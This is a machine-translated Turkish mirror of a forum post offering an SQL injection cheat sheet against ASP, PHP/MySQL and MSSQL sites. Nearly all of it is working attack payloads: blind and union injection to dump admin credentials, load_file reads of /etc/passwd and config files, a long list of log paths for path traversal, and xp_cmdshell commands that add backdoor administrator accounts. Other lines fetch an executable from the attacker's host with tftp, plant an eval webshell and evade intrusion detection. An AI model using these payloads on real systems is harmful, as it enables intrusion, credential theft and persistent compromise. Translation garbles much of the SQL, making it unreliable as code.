Bu makale makine çevirisi ayna makalesidir, orijinal makaleye geçmek için lütfen buraya tıklayın.

Görünüm: 20889|Yanıt: 2

[Güvenli İletişim] SQL Enjeksiyon Kitabı - ASP Enjeksiyon Zayıflığı Tam İletişim

[Bağlantıyı kopyala]
Yayınlandı 28.09.2015 18:21:41 | | |


MSSQL çapraz veritabanı sorguları (yiyecek!) Karanlık)

MS SQL'in son damlasını da sıkıştır

SQL ifade referansları ve kayıt seti nesneleri ayrıntılı olarak açıklanır

SQL Server'da depolanmış prosedürler hakkında

mssql yedekleme ile bir webshell oluşturun

SQL_Injection gelişmiş uygulamalar

Cross-site SQL injection (laokai)

Weird SQL Injection (AMANL)

SQL Server uygulamalarında gelişmiş SQL enjeksiyonu

Dizinlerde gezinmek için SQL enjeksiyonu nasıl kullanılır

SQL Enjeksiyon Tekniklerinin Rehberi (Çevirmen: demonalex)

SQL veritabanlarına yönelik bazı saldırılar

SQL Enjeksiyon Saldırı Tekniği (JSW)

SQL_Injection İleri Uygulamalar (APACHY)

SQL Enjeksiyonunun Nadir Yöntemleri (Guilin Veteran)

Bir kabuk yedeği

Php+mysql enjeksiyon ifade yapısı (Heyhehehehe·≯Super· Hey)

MySQL ile Gelişmiş SQL Enjeksiyonu (melek)

L'injection (My)SQL PHP üzerinden

Oracle SQL Dili

SQL manuel enjeksiyon ansiklopedisi

Ön koşullar araçlar gerektirir: SQL Query Analyzer ve SqlExec Sunx Version
==============================================================================================
1. Enjeksiyon noktası olup olmadığını belirleyin
; ve 1=1 ile 1=2
2. Tahmin ediyorum ki tablonun adı sadece admin admin kullanıcı geçiş şifresi vb.:
ve 0<>(*'den seç sayı(*) arasında)
ve 0<>(admin'den selectcount(*) seç) — Admin tablosunun var olup olmadığını belirleyin
3. Hesap sayısını tahmin edin 0 ile karşılaşırsanız< doğru sayfa 1'e dönün< hesap sayısının 1 olduğunu belirtmek için hata sayfasını geri getirin
ve 0<(yöneticiden seçilmiş sayı(*)
ve 1<(yöneticiden seçilmiş sayı(*)
4. Alan adını tahmin edin. Len() parantez içinde aklımıza gelen alan adını ekleyin.
ve 1=(admin'den count(*) seç, burada len(*)>0)–
ve 1=(yöneticiden count(*) seç, burada len(kullanıcı alanı adı adı)>0)
ve 1=(yöneticiden count(*) seç, burada len(_blank>parola alanı adı)>0)
5. Her alanın uzunluğunu tahmin et Uzunluğu tahmin et doğru sayfa dönerse >0 dönüştürülecek
ve 1=(yöneticiden count(*) seç, burada len(*)>0)
ve 1=(yöneticiden count(*) seç, burada len(name)>6) hatası)
ve 1=(yöneticiden count(*) seç, burada len(name)>5) Doğru uzunluk 6'dır
ve 1=(yöneticiden select(count(*) burada len(name)=6) doğrudur)
ve 1=(yöneticiden count(*) seç, burada len(password)>11) doğru
ve 1=(yöneticiden select(count(*) burada len(password)>12) hata uzunluğu 12
ve 1=(yöneticiden count(*) seç, burada len(password)=12) doğrudur
6. Karakterleri tahmin et
ve 1=(yöneticiden selectcount(*) burada left(name,1)=a) — Kullanıcının hesabının ilk rakamını tahmin et
ve 1=(yöneticiden select(*) select(select(count(*) where left(name,2)=ab)—Kullanıcının hesabının ikinci rakamını tahmin et
Tahmin etmek için tek bir karakter ekleyin, tahmin ettiğiniz kadar çok rakam tahmin edin, hesap numarası çıkar
(1) Tablonun adını tahmin et

Kullanılan cümleler:
ve var (tablo adından * seç)

Mesela:
ve var (yöneticiden * seç)

Sayfa doğru yankı yapıyorsa, burada tahmin ettiğimiz tablo adının doğru olduğu anlamına gelir ve sayfa yanlışsa, burada yazdığımız tablo adının yanlış olduğu anlamına gelir

, sonra tablonun adını değiştirin ve tahmin etmeye devam edin.

Genellikle, yaygın kullanılan tablo adları admin, yönet, kullanıcı veya aracın çalıştırılmasına koymaktır
(2) Alanı tahmin et

Kullanılan cümleler:
ve var (tablo adından alan adını seç)

Mesela:
ve var (admin'den kullanıcı adını seç)

Burada, yukarıda doğru tahmin ettiğim tablo admin tablosuysa, kullanıcı adı alanının var olup olmadığını belirlemek istiyorum, bu ifadeyi kullanmam gerekiyor, eğer sayfa

Eğer yüz yankısı doğruysa, burada tahmin ettiğimiz alan adının doğru olduğu anlamına gelir ve sayfa yanlışsa, burada yazdığımız alan adının yanlış olduğu anlamına gelir

, sonra alan adını değiştirin ve tahmin etmeye devam edin.

Genel olarak, yaygın alan adları kullanıcı adı, şifre, kullanıcı, geçiş, ad, geçiş, pwd, usr, psd ve diğer alanlar içermektedir
(3) Sıra

Sırayla sıra, o sayfadaki alan sayısının toplamını elde etmek, bir sonraki ortak sorgulaya hazırlanmaktır
(4) Union Select

  1. Ortak sorguyu destekliyorsanız, http://www.xxx.com/product_show.asp?id=1 ve 1=2 birlik seçimini bulun

1,2,3,4,5,6,7,8,9,10,11
Diyelim ki ekran bitleri 5,6. Sonra, sadece yöneticinin kullanıcı adı ve şifresine karşılık gelen alan adlarını, burada görüntü bitinin konumuyla değiştirmemiz yeterli
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 yöneticiden arka plan girişini buldu
  2. Ortak sorgu desteklenmiyorsa
Yöneticinin kullanıcı adı ve şifresi, Ascii kelimesi kelimesine çözme kullanılarak ortak sorgulama olmadan alınamaz
İki
  Tablodaki bit sayısını değerlendirmek için sıra ile kullanın, işe yaramazsa Union select ile tek tek düzenleyin, burada 8 bit varsayılır
Üç
  Görüntüleme bitlerini belirlemek için ortak sorgu kullanın
Dört
  Veritabanı adını, veritabanı sürümünü bulmak için görüntüleme bitini kullanın, veritabanı sürümü, 5.0 veya üzeri enjekte edilebilir
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Beş
  Veritabanı adı ile, tablo adı şemasını = ve ardından veritabanı adının HEX değerini almaya başlayabilir ve tablo adını tahmin edebilirsiniz
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
Altı
  Analiz edilen tablo adı, yöneticinin tablo adı=tablo adı için HEX değerini belirler ve tablodaki alanları tahmin eder
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(AYIRT

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Yedi
  Yönetici tablosunda alanları aldıktan sonra, alanların içeriğini alalım
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(AYIRT

+kullanıcı adı,
0x5f,userpwd),8+from+pub_webmaster
Sekiz
  Araç arka planı tarar: Troyanı bulduktan sonra yüklemek için giriş yapın ve eğer robots.txt dosyasını bulamazsanız erişebilirsiniz
Dokuz
  Arka planı bulamazsanız, MYSQL yöneticisinin şifresi açığa çıkar
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(kullanıcı,şifre),8+from+mysql.user
On
  Rastgele bir yola erişin, geri bildirim IIS6'nın 404 varsayılan sayfasıdır; bu da web sitesi sunucusunun Windows+IIS6+php+MySql ortamı olduğunu gösterir
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Bu yol web sitesi yapılandırma bilgilerini alabilir.
  Oluşturma ifadeleri http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
On bir
  Kodu analiz et ve arka plan adresini bulun
  İlk adımda, tablodaki alanların uzunluğunu almamız gerekiyor
Kullanılan ifadeler:
ve (tablo adından en üst 1 lens'i (alan adı) seçin)>0
Mesela ne:
ve (yöneticiden en iyi 1 lens(admin_name) seçin)>0
Sayfa normal şekilde görüntülenir, admin_name alanının uzunluğu 0'dan büyük ve ben şunları göndereceğim:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Sayfa, alanın 0 ile 10 arasında olduğunu ve uzunluğun 5 olduğunu belirten bir hata gösterir ve dikotomi kullanılarak
Aynı yöntemi kullanarak yönetici şifresinin alanının uzunluğunu belirlerken, 16 uzunluğu alıyorum
  Adım 2
Şimdi ikinci adıma geçelim, alanda belirli bir karakteri alalım ve kullanılan karakterin ASCII kodunu alalım

Açıklama:
ve (tablo adından en üst 1 asc(mid(alan adı, N,1)) seçin)>0
Bu cümleyi ayrı ayrı inceleyim, önce en içteki mid(username, 1,1) fonksiyonu, yani admin_name alanının ilk karakteri olan N

ilk birkaç karakterin ele geçirileceğini belirtir,
Daha sonra, mid fonksiyonu tarafından kesilen karakterleri ASCII koduna dönüştüren dış asc() fonksiyonu, en üst 1, ilk sıradaki dönüş alanını temsil eder

O zaman bir rekor,
Sondaki ">0", dönüştürülmüş ASCII kodunu bu sayıyla karşılaştırmak ve son değeri sürekli değiştirerek kesintiyi elde etmek için kullanılır

Bu karakterin detaylarını öğrenin
ASCII kodu
Teslimiyet:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Sayfa normal şekilde gösterilir ve bu karakterin ASCII kodunun 30'dan büyük olduğunu gösterir.
Teslimiyet:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Sayfa normal şekilde gösterilir, bu da bu karakterin ASCII kodunun 90'dan büyük olduğunu gösterir.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
Bu karakter için bulduğum ASCII kodu 97
ASCII tablosunu karşılaştırın:
İlk karakterin "a" olduğu sonucuna varılabilir.
Sonra ikinci karakterin ASCII kodunu değerlendireceğim.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Sayfa normal şekilde görüntülenir, bu da karakterin ASCII kodunun 90'tan büyük olduğunu gösterir ve son değer her zaman değişir
Aynı yöntem yöneticinin şifresini verdi ve aldığım sonuç şuydu:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
ve 1=(Admin'den ilk 1 sayı(*) seç, Asc(mid(pas,5,1))=51) –
Bu sorgu ifadesi Çinli kullanıcıyı tahmin edip _blank> şifresini tahmin edebilir. Sadece aşağıdaki numaraları Çin ASSIC koduyla değiştirin

Karakterlere dönüştür.

1=1–www.myhack58.com users.id grup
users.id grupla, users.username, users.password, users.privs ile 1=1–
; Kullanıcı değerlerine girin( 666, saldırgan, foobar, 0xffff )–

UNION SELECT ILK 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. SÜTUNLAR

TABLE_blank>_NAME=logintable-
UNION SELECT ILK 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. SÜTUNLAR

TABLE_blank>_NAME=logintable Burada COLUMN_blank>_NAME NOT (login_blank>_id)-
UNION SELECT ILK 1 COLUMN_blank>_NAME INFORMATION_blank>_SCHEMA. SÜTUNLAR

TABLE_blank>_NAME=logintable Burada COLUMN_blank>_NAME NOT

(login_blank>_id,login_blank>_name)-
UNION LOGINTABLE'dan TOP 1 login_blank>_name SEÇİN-
UNION: Giriş tablosundan TOP 1 şifre seç, burada login_blank>_name=Rahul–
_blank> sunucusunun oynadığı yamaya bakın = yanlış SP4 patch siyah çubuk güvenlik ağı
ve 1=(@@VERSION seç)–

_blank> veritabanı bağlantı hesabının izinlerine bakın, normal döner, bu da _blank> sunucu rolünün sistem yöneticisi izni olduğunu kanıtlar.
ve 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–

Veritabanı hesabının bağlı _blank> belirleyin. (Bağlantı için SA hesabı kullanın ve normal döndürün = bağlı hesabın SA olduğunu kanıtlayın)
ve sa=(Seç System_blank>_user)–
ve user_blank>_name()=dbo–
ve 0<>(select user_blank>_name()–

Bakın xp_blank>_cmdshell siliyor mu
ve 1=(Select count(*) FROM master.dbo.sysobjects Burada xtype = X AND name = xp_blank>_cmdshell)



xp_blank>_cmdshell silinmiş, geri yüklenmiş ve mutlak yol kurtarma desteği sağlanmıştır
; YÖNETICI master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; YÖNETICI master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== veritabanı izni, web sitesinin fiziksel yol koduna açıktır

==========================================================================
1、drop tablosu [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)

null) -- Tablo oluştur


2、 delete [jm_tmp]; [jm_tmp] yönetici master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Site dizinini tablo alanına ekle


3、and (en iyi 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data]

desc)=0 '//Açık alan


4. Tabloyu kaldır [jm_tmp] -- bu tabloyu sil.
kabuğu almak için komuta
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Diğer istasyon yolları
======================load_file() Yaygın olarak kullanılan hassas bilgiler ===========================================
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
Yukarıdaki iki dosya, kodu tam olarak gösteren bir PHP dosyasını görüntülemek içindir. Bazı karakterler değiştirilmediği zamanlar olabilir, örneğin "boşluk" yerine "<" geri döner

Web sayfası. Ve kod görüntülenemiyor.

3. load_file(char(47)) FreeBSD ve Sunos sistemlerinin kök dizinini listeleyebilir

4. Linux APACHE sanal ana bilgisayar yapılandırma dosyasını /etc/httpd/conf/httpd.conf veya /usr/local/apche/conf/httpd.conf adreslerinde görüntüleyin

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf veya C:\apache\conf\httpd.conf ile WINDOWS'u görüntülemek için

System Apache dosyası

6. c:/Resin-3.0.14/conf/resin.conf jsp tarafından geliştirilen web sitesinin reçine dosyası yapılandırma bilgilerini inceleyin.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf Linux sisteminde yapılandırılmış JSP sanal ana bilgisayarını görüntülemek için

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin patlama yolu

11. C:\Windows\system32\inetsrv\MetaBase.xml IIS'nin sanal host yapılandırma dosyasını görüntüleyin

12. /usr/local/resin-3.0.22/conf/resin.conf için 3.0.22 için RESIN yapılandırma dosyasını görüntülemek için

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Yukarıdakilerle aynı

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE sanal sunucusu

15. /etc/sysconfig/iptables güvenlik duvarı politikasına bağlıdır

16. /usr/local/app/php5 b/php.ini PHP eşdeğer ayarları

17. /etc/my.cnf MYSQL yapılandırma dosyası

18. /etc/Red Hat'in redhat sürüm sistemi versiyonu

19 、C:\mysql\data\mysql\user. MYD, MYSQL sistemindeki kullanıcı şifresinde bulunur

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 ile IP görüntülemek için.

21. /usr/local/app/php5 b/php.ini //PHP ile ilgili ayarlar

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // sanal web sitesi ayarları

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue Linux çekirdeğinin dağıtım bilgilerini gösterir

26、/etc/ftpuser

27. LINUX user.bash_history veya .bash_profile altında işlem kayıt dosyasını kontrol edin

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Kendiniz ters PING deneyi yapın
; Usta kullanın; declare @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; yönetici

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Hesap ekle
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Bir sanal dizin E-disk oluşturun:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Erişim özellikleri: (bir webshell'e yazma ile)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Kütüphaneyi patlatmak için özel _blank> numara: :%5c=\ veya %5'i / ve \ ile değiştirerek commit
ve 0<>(newtable'dan ilk 1 yolu seç)–

Veritabanı adını alın (1'den 5'e kadar sistemin ID'leridir ve 6'nın üzerinde değerlendirebilirsiniz)
ve 1=(master.dbo.sysdatabases'ten adını seç, burada dbid=7)–
ve 0<>(master.dbo.sysdatabases'ten count(*) seç, burada name>1 ve dbid=6)
Dbid'i sırayla gönder = 7,8,9.... Daha fazla _blank> veritabanı adı alın

ve 0<>(bbs.dbo.sysobjects'ten en üst 1 adı seç, burada xtype=U) bir tabloya girer ve admin varsayılır
ve 0<>(bbs.dbo.sysobjects'ten en üst 1 isim seçilir, burada xtype=u ve ismi (Admin)'de yoktur).

Diğer masalar.
ve 0<>(bbs.dbo.sysobjects'ten say(*) seç, burada xtype=u ve admin=admin
ve uid>(str(id))) UID'nin sayısal değeri 18779569 uid=id olarak kabul edilir.
ve 0<>(bbs.dbo.syscolumns'tan ilk 1 adı seç, burada id=18779569) admin alanını alır, false

Ayarlandı user_blank>_id
ve 0<>(bbs.dbo.syscolumns'tan üst 1 isim seçin, burada id=18779569 ve ad içinde değil
(id,...)) diğer alanları ortaya çıkarmak için
ve kullanıcı adını almak için 0<(BBS.dbo.admin'den kullanıcı adı >1 olan user_blank>_id seçin)
Karşılığında _blank> şifre alabilirsiniz。。。。。 Diyelim ki user_blank>_id kullanıcı adı, şifre gibi alanlar var

ve 0<>(master.dbo.sysdatabases'ten count(*) seç, burada name>1 ve dbid=6)
ve 0<>(bbs.dbo.sysobjects sayfasından en üst 1 adı seçin, burada xtype=U) tablo adını elde etmek için
ve 0<>(bbs.dbo.sysobjects'ten en üst 1 adı seçin, burada xtype=u ve isim inde değil(Adres))
ve 0<>(bbs.dbo.sysobjects'ten count(*) seç, burada xtype=u ve name=admin ve uid>(str(id)))

Id değerini belirleyin
ve 0<>(BBS.dbo.syscolumns'tan üst 1 adı seçin, burada id=773577794) tüm alanlar

?id=-1 Yönetici Sendika Seç 1,2,3,4,5,6,7,8,9,10,11,12,13,*
?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 admin'den (Union, Access da kullanımı kolay)

WEB yolunu alın
; Tablo oluştur [dbo]. [değişim] ([swappass][char](255)); –
ve (swap'tan en iyi 1 swappass seçeneği)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

Usta.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

ÇIKIŞ yol(yol) değerleri(@test)–
; KU1 kullanın; –
; tablo komutu oluşturma (str görsesi); – Görüntü türünde bir tablo komutanı oluşturun
1. xp_cmdshell uzatma sürecini kaldırmanın yolu aşağıdaki ifadeyi kullanmaktır:

eğer varsa (dbo.sysobjects içinden * seç, burada id=object_id(N'[dbo].[ xpcmdshell]') ve

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
yönetici sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Uzatma sürecini eklemenin yolu xp_cmdshell ifadeyi kullanmaktır:

(1)SQL Sorgu Analizörü

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Öncelikle, SqlExec Sunx Versiyonunun Format seçeneğine %s doldurun ve CMD seçeneğine girin

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

kaldır

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Test süreçleri xp_blank>_cmdshell:
; Yönetici Üsta.. xp_blank>_cmdshell yönetmen
; yönetici master.dbo.sp_blank>_addlogin jiaoniang$; – SQL hesapları ekleyin
; yönetici master.dbo.sp_blank>_password null, jiaoniang$1866574; –
; yönetici master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sistem yöneticisi; –
; exec master.dbo.xp_blank>_cmdshell net kullanıcı jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup yöneticileri jiaoniang$ /add; –
Yönetici Üsta.. xp_blank>_servicecontrol başla, _blank> hizmete başlamayı planlayın
Yönetici Üsta.. xp_blank>_servicecontrol başlat, sunucu
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Yönetici Üsta.. xp_blank>_cmdshell tftp -i youip get file.exe – TFTP ile dosya yükle

; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\
; @a ilan et; küme @a=db_blank>_name(); yedek veritabanı disk=IP adresinize @a Paylaşılan dizininiz bak.dat
Kısıtlanırsa evet.
openrowset(_blank>sqloledb,server; sa; ,OK seçin! yönetici

master.dbo.sp_blank>_addlogin hax)

Sorgu Yapısı:
* FROM haberleri seç Where id=... VE konu=... VE .....
adminand 1=([kullanıcı] içinden count(*) seç, burada kullanıcı adı=kurban ve right(left(userpass,01),1)=1)

ve userpass <>
123 Seçin; –
; Usta kullanın; –
:a veya fff% gibi bir isim; – Ffff adında bir kullanıcı gösteriliyor.
ve 1<>([kullanıcı]'dan seç sayısı(e-posta); –
; Güncelleme [Kullanıcılar] E-posta=(sysobjects'ten en üst 1 adı seçin, burada xtype=U ve durum>0) burada

isim=ffff; –
; Güncelleme [Kullanıcılar] E-posta=(sysobjects'ten en üst 1 ID'yi seç, burada xtype=U ve ad=ad) burada

isim=ffff; –
; Update [Users] Set email=(sysobjects'ten en üst 1 adı seçin, burada xtype=You ve id>581577110)

burada isim=ffff; –
; güncelleme [kullanıcılar] ayarla e-posta=(şifreden en üst 1 sayı(id) seçin) burada isim=ffff; –
; Güncelleme [Kullanıcılar] E-posta=(Şifreden en üst 1 PWD seçin, burada ID=2) Burada isim=ffff; –
; güncelleme [kullanıcılar] e-posta=(şifreden en üst 1 isim seçin, burada id=2) nerede isim=ffff; –
Yukarıdaki ifade, _blank> veritabanında ilk kullanıcı tablosunu alıp ffff kullanıcısının e-posta alanına tablo adını koymaktır.
ffff'nin kullanıcı profilini inceleyerek, AD adlı ilk tabloyu elde edebilirsiniz
Sonra bu tablonun adını alın, ikinci tablonun adını almak için tablo adı reklamına göre

user values içine girin( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Kullanıcı değerlerine girin( 667,123,123,0xffff)–
Kullanıcı değerlerine (123, admin–, şifre, 0xffff)–
; ve kullanıcı>0
; ve (sysobjects'ten count(*) seç)>0
; ve (mysysobjects'ten count(*) seç)>0 // access_blank> veritabanı için

Veri tablosunun adını sayın
; AAA setini güncelle aaa=(sysobjects'ten en üst 1 adı seç, burada xtype=U ve status>0); –
İşte burada ilk tablo adı AAA alanına güncellenir.
İlk tabloyu okuyun, ikinci tablo ise şu şekilde okunabilir (koşulun ardından ekle ve isim<> az önce aldığınız tablonun adını).
; AAA setini güncelle aaa=(sysobjects'ten en üst 1 adı seç, burada xtype=U ve status>0 ve

isim<>oy); –
Sonra id=1552 ve var (aaa'dan * seç, burada aaa>5)
İkinci tabloyu okuyun ve tek teker okuyun, ta ki hiç kalmayana kadar.
Okuma alanı şöyle görünüyor:
; AAA setini güncelle aaa=(Top 1'i seç col_blank>_name(object_blank>_id(tablo adı),1)); –
Sonra id=152 ve var (aaa'dan * seç, burada aaa>5) hata alır ve alan adını alır
; AAA setini güncelle aaa=(en üst 1'i seç col_blank>_name(object_blank>_id(tablo adı),2)); –
Sonra id=152 ve var (aaa'dan * seç, burada aaa>5) hata alır ve alan adını alır

[Veri Tablosu Adını Alın] [Alan değerini tablo adına güncelledin ve ardından bu alanın değerini okuyun, böylece tablo adını alın]
Table Name set field=(sysobjects'ten en üst 1 adı seç, burada xtype=U ve status>0 [ ve name<>

Aldığınız tablo adı: Bir artı bir bul]) [ koşul yerinde] sysobjects'ten en üst 1 adı seçin, burada xtype=siz ve

status>0 ve isim (table1,table2,...) içinde değil
Veritabanı yöneticisi hesabı ve sistem yöneticisi hesabı oluşturmak, SQLSERVER üzerinden _blank> _blank> güvenlik açığı enjeksiyonu [Mevcut hesap SYSADMIN grubu olmalı]

[Veri Tablosu Alan Adını Alın] [Alan değerini alan adına güncelleyin ve sonra bu alanın değerini okuyarak alan adını alın]
Tablo adını güncelle seti alan=(en üst 1'i seç col_blank>_name(object_blank>_id (veri tablosu adı sorguya), alan sütunu

Örneğin: 1) [ koşul yerinde]

IDS Tespitini Atlama [Değişkenler Kullanılarak]
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; Declare @a sysname set @a=XP+_blank>_cm'+'dshell exec @a dir c:\

1. Uzak _blank> veritabanını açın
Temel sözdizimi
OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, tablo 1'den * seç )
Parametreler: (1) OLEDB Sağlayıcı adı
2. Bağlantı dizisi parametresi, bağlanacak herhangi bir porttan olabilir, örneğin
OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,

Tablodan * seç
